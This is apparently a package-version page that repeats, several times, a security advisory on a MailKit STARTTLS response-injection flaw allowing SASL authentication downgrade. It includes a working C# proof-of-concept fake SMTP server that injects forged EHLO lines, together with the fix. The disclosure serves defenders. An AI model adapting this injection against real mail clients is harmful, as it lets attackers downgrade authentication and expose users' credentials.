  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Mar 26, 2022

3.1.1 patch

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Jan 30, 2022

3.1.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Jan 15, 2022

3.0.0 major

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


